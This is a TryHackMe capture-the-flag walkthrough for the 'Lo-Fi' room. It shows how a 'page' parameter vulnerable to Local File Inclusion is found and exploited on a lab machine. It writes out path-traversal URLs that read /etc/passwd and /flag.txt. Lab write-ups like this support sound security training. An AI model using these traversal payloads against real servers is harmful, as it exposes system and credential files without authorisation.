TryHackMe: Lo-Fi Walkthrough

Exploiting Local File Inclusion (LFI) to Read Files and Capture the Flag

Disclaimer:_ This walkthrough is for educational purposes and authorized security testing only. The techniques were performed against the intentionally vulnerable TryHackMe lab._

Room Overview

Room: Lo-Fi Difficulty: Easy Target IP: 10.49.173.105 Vulnerability: Local File Inclusion (LFI)

The goal of this room is to identify an LFI vulnerability and use it to read a file from the root filesystem.

Phase 1: Reconnaissance & Enumeration

After starting the machine, We can access the application by opening the target IP in a browser:

http://10.49.173.105/

http://10.49.173.105/

While exploring the website, we notice URLs containing the page parameter:

?page=sleep.php
?page=coffee.php
?page=vibe.php

?page=sleep.php
?page=coffee.php
?page=vibe.php

Since the parameter appears to control which file is loaded, we test it for Local File Inclusion.

Phase 2: Exploitation — LFI

We attempt to access the Linux /etc/passwd file using path traversal:

http://10.49.173.105/?page= ../.././etc/passwd

http://10.49.173.105/?page= ../.././etc/passwd

The server returns the contents of /etc/passwd.

This confirms that the page parameter is vulnerable to LFI.

Phase 3: Flag Retrieval

The room tells us that the flag is located in the root of the filesystem.

Using the same LFI vulnerability, we request:

http://10.49.173.105/?page=../../../../../flag.txt

http://10.49.173.105/?page=../../../../../flag.txt

The application returns the flag.

Flag location:

/flag.txt

/flag.txt

Conclusion

In this room, we identified an LFI vulnerability in the page parameter. By using path traversal (../), we were able to read /etc/passwd and ultimately access /flag.txt.